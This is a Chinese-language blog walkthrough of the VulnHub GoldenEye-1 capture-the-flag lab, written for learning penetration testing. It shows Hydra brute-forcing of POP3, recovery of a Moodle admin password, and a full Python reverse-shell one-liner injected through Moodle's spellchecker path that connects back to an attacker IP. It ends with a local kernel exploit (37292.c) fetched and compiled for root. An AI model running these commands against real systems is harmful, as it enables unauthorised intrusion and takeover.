VulnHub-GoldenEye-1-Walkthrough渗透学习

**

VulnHub-GoldenEye-1-Walkthrough

**

靶机地址:https://www.vulnhub.com/entry/goldeneye-1,240/
靶机难度:中等(CTF)
靶机发布日期:2018年5月4日
靶机描述:靶机命名来自詹士邦系列的电影——GoldenEye
目标:得到root权限&找到flag.txt
作者:大余
时间:2019-12-26

请注意:对于所有这些计算机,我已经使用VMware运行下载的计算机。我将使用Kali Linux作为解决该CTF的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

一、信息收集

我们在VM中需要确定攻击目标的IP地址,需要使用nmap获取目标IP地址:
在这里插入图片描述
使用命令:nmap -sP 192.168.182.0/24
或者使用netdiscover获取目标IP地址:
在这里插入图片描述
我们已经找到了此次CTF目标计算机IP地址:192.168.182.141
我们开始探索机器。第一步是找出目标计算机上可用的开放端口和一些服务。因此我在目标计算机上启动了nmap全端口T5速度扫描:
在这里插入图片描述
使用命令:nmap -sS -sV -T5 -A -p- 192.168.182.141

图中可以看出,目标计算机上有四个可用的开放端口。由于目标计算机上的端口80可用,我们首先来检查应用程序。我们在浏览器上打开了目标计算机的IP,它显示了一个有趣的页面:
在这里插入图片描述在上面的屏幕截图中,显示的文本提示了一条线索,它说进入到/sev-home/目录中。
在这里插入图片描述
会看到上面的页面需要身份验证,因为它提示我们输入用户名和密码。
我开始检查主页的html内容以获取任何有用的提示(F12查看)。一段时间后,我发现索引页面有一些有趣的东西,可以进一步探索:
在这里插入图片描述
在上面的屏幕截图中,可以在红框中看到一个名为“ terminal.js”的JavaScript文件,看起来很有趣。然后我在另一个浏览器窗口中打开此JavaScript文件:
在这里插入图片描述
评论部分获得信息:
用户:boris、Natalya
我们还找到了一个编码字符串,可以在上面的屏幕快照的突出显示区域中看到它。用户评论中提到这是密码。让我们对字符串进行解码,然后尝试使用这些凭据登录应用程序。
字符串:
InvincibleHack3r
这里我使用了burp suite Professional中Decoder模块进行html解码:
在这里插入图片描述
我们已经解码了密码:InvincibleHack3r,由于上面已经找到了有效的用户名,尝试下使用用户名密码登陆:http://192.168.182.141/sev-home/
在这里插入图片描述
我们已经成功登陆了GoldenEye应用程序,继续寻找有用的信息,最后一段英文翻译是(英文较差谷歌翻译):
请记住,由于默默无闻的安全性非常有效,因此我们将pop3服务配置为在很高的非默认端口上运行…

检查主页的html内容,从上面的消息中,我们可以了解到某个非默认端口上正在运行一个活动的POP3服务。由于我们已经在第一步中对目标IP进行了完整的Nmap扫描,因此我们已经知道运行POP3服务器的端口:55006、55007,那么这两个端口就有可能是有一个是跑着pop3服务的,浏览器上访问发现是55007端口:
在这里插入图片描述
另外,在分析“ terminal.js”的HTML内容时,我们在注释中发现一条注释,指出目标系统正在使用默认密码。因此,让我们尝试使用在上一步中找到的用户名“ boris”,通过Hydra暴力破解pop3服务:
在这里插入图片描述
在这里插入图片描述
我们可以看到暴力攻击已成功,并且该工具已破解了用户“ boris、natalya”的密码。
使用命令:echo -e ‘natalya\nboris’ > dayu.txt(创建文本包含两个用户名)
hydra -L dayu.txt -P /usr/share/wordlists/fasttrack.txt 192.168.182.141 -s 55007 pop3(以文本内容使用hydra攻击)
用户:boris 密码:secret1!
用户:natalya 密码:bird
我使用Netcat(简称nc)实用程序通过pop3端口并使用用户“ boris、natalya”凭据登录到目标服务器邮箱中。
在这里插入图片描述
这是pop3登录指令学习。
在这里插入图片描述
这封邮件指出root用户没有扫描电子邮件中的安全风险,这封邮件没什么有用的信息。
在这里插入图片描述
第二封来自用户“ natalya”,称她可以破坏鲍里斯的密码。
第三封邮件可以看出有一份文件用了GoldenEye的访问代码作为附件进行发送,并保留在根目录中。但我们无法从此处阅读附件。
现在使用natalya用户登录看看有什么有用的信息…
在这里插入图片描述
我们可以看到目标计算机上的root用户有一封电子邮件。让我们检查第二封电子邮件。
在这里插入图片描述
在第二封邮件看到了另外一个用户名密码,此服务器域名和网站,还要求我们在本地服务hosts中添加域名信息:
用户名:xenia
密码:RCP90rulez!
域:severnaya-station.com
网址:severnaya-station.com/gnocertdir
我们现根据邮件提示添加本地域名:severnaya-station.com
在这里插入图片描述
在上面的屏幕截图中,我们可以看到URL已成功添加到目标计算机上。因此,让我们在浏览器中打开此URL。
在这里插入图片描述
经过如此多的努力…我们终于在目标计算机上运行了Web应用程序,多亏了我们看到的上一封电子邮件。
刚登陆界面我就看到了moodle,这是一个开源的CMS系统,继续点一点,发现要登陆,使用邮件获得的用户密码进行登陆。
用户名:xenia
密码:RCP90rulez!
在这里插入图片描述
登陆进来就四处都看了看,发现有一封邮件,内容发现用户名doak
继续使用hydra攻击
在这里插入图片描述
用户名:doak
密码:goat
hydra已成功破解了用户doak的密码,使用账号密码继续登陆pop3邮件。
在这里插入图片描述
邮件消息说,为我们提供了更多登录凭据以登录到应用程序。让我们尝试使用这些凭据登录。
用户名:dr_doak
密码:4England!
使用新的账户密码登录CMS。
在这里插入图片描述
进来后一眼就看到右边,发现了一个s3cret.txt文件。另外发现这是Moodle使用的2.2.3版本,细心发现。
在这里插入图片描述
现在我们查看文件的内容,指出管理员凭据已隐藏在映像文件中,让我们在浏览器中打开图像以查看其内容。
在这里插入图片描述
可以使用浏览器下载,也可以使用命令:wget http://severnaya-station.com/dir007key/for-007.jpg下载到本地。
根据邮件提示让我们检查图片内容,下载图片后,我们可以使用binwalk(路由逆向分析工具)、exiftool(图虫)、strings(识别动态库版本指令)等查看jpg文件底层内容。
在这里插入图片描述
在这里插入图片描述
使用binwalk没能查出有用信息,用exiftool和strings解析得到Image Description : eFdpbnRlcjE5OTV4IQ==
显示的是base-64编码的字符串(两个等号表示它是base-64编码的字符串)。基数为64的编码字符串如下所示:
在这里插入图片描述
随意到网上搜索base-64编码解密,很多网站在线提供解密,获得密码:xWinter1995x!
线索中说,这是管理员用户的密码。管理员用户身份继续登陆应用程序。
用户名:admin
密码:xWinter1995x!
在这里插入图片描述
进去内容太多了,花了很多时间查看,图片红框显示和我前面使用dr_doak用户登陆邮箱发现的结果一致,这是Moodle使用的2.2.3版本,获得版本名称后,我快速搜索了网上的可用漏洞。
在这里插入图片描述
在这里插入图片描述

二、渗透-getshell

此版本有许多漏洞利用,由于我们需要在目标计算机上进行外壳访问,因此我选择使用远程代码执行(RCE)漏洞利用。
使用我们的神器:MSF
在这里插入图片描述
设置用户名:admin
设置密码:xWinter1995x!
设置:rhosts severnaya-station.com
设置:targeturi / gnocertdir
设置payload:cmd / unix / reverse
设置:lhost 192.168.1.45
这里不会配置的还是别往下学了,去学下MSF的基础渗透教学。
在这里插入图片描述
在这里插入图片描述
提权失败,网上搜索看到一篇老外写的Walkthrough,目标主机上不存在GCC编译,只能CC编译,所以在需要把Google Spell编译改成PSpellShell编译。
在这里插入图片描述
在这里插入图片描述
按道理应该能获取www低权限,经过百度谷歌多方面咨询大神,是因为我kali中MSF版本升级太高,会遇到RCE无法渗透问题,这里耽误了很多时间,心里想着可以getshell了,结果MMP,反弹shell用不了,只能使用内核提权了。
初步得先拿到随便一个权限,低权限也行呀,NM!!
只能使用另外的反弹shell方式渗透了…我太难了…
经过长时间的网上搜索学习,找到了方法。

由于我们已经使用了管理员admin用户登录页面,可以进行网站管理,在页面中找到了Site administration-Server-System paths
网站管理系统路径,发现可以上传代码。
在这里插入图片描述
本人初学python是小甲鱼教的,这里打一波鱼哥广告…
这里可以用到python代码,进行反弹shell渗透。
使用代码:python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.182.135”,6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);’
使用python对本地6666端口上传一个shell,相当于一个muma,我们需要在本地开启端口6666。
在这里插入图片描述
在这里插入图片描述
本地开启监听端口后,回到管理员用户页面。
在这里插入图片描述
需要找到一个能发送数据包出去的地方,这里找到了能发送邮件的地方,随意填写一些文字即可,点击Toggle spellchecker进行发送shell到本地。
在这里插入图片描述
在这里插入图片描述
终于获得了一个shell权限,不容易啊!!
使用python获得的shell权限后,得使用ptyhon获得tty,使用命令:python -c ‘import pty; pty.spawn("/bin/bash")’
在这里插入图片描述
当我运行id命令时,它表明该用户不是root用户,这是www-data的低特权用户,能到这一步已经渗透成功一大半了…继续努力!!

三、提权

关于Linxu提权有非常非常多的方法,可以参考学习:
链接: Linux提权学习.
在这里插入图片描述
我们可以在上面的屏幕截图中看到我们拥有操作系统和内核版本号,我在Google上搜索了本地漏洞,并找到了几种选择。
在这里插入图片描述
使用exploit37292的shell,可以从kali本地中查找,也可以在网上下载shell,我这边在kali上找,然后使用python创建一个服务,通过服务上传37292.c到靶机中。
找到37292.c目录
在这里插入图片描述
cp /usr/share/exploitdb/exploits/linux/local/37292.c /*Desktop
复制到桌面。
在这里插入图片描述
由于前面说过靶机未安装gcc编译,只能用cc编译,需要修改37292.c编译。
在这里插入图片描述
将gcc改成cc
在这里插入图片描述
本地开启服务。
在这里插入图片描述
使用wget下载37292.c脚本到靶机的tmp目录。
在这里插入图片描述
用cc编译,赋予可执行权限后,运行exp。
在这里插入图片描述
我们可以看到目标计算机已经获得root访问权限,缓了一口气。
根据挑战的描述,目标是得到root权限&找到flag.txt。
在这里插入图片描述
我们做到了!
中间还是走了很多弯道,遇了很多坑,使用过dirb(爆破目录)、gobuster(目录拆解工具)对http://192.168.182.141进行暴力破解,但是效果不佳只获得了几个别的目录,没有啥有用的信息,如果有渗透大神数据库方面可以继续努力渗透。
本来想改改MSF用的exploit,学习累计不够,无奈有点菜…
内心是极不情愿用别的提权shell的,还不是因为菜…
继续努力!!赶紧休息,明天上班。

由于我们已经成功得到root权限&找到flag.txt,因此完成了CTF靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。
在这里插入图片描述

发布了12 篇原创文章 · 获赞 2 · 访问量 709

猜你喜欢

转载自blog.csdn.net/qq_34801745/article/details/103724325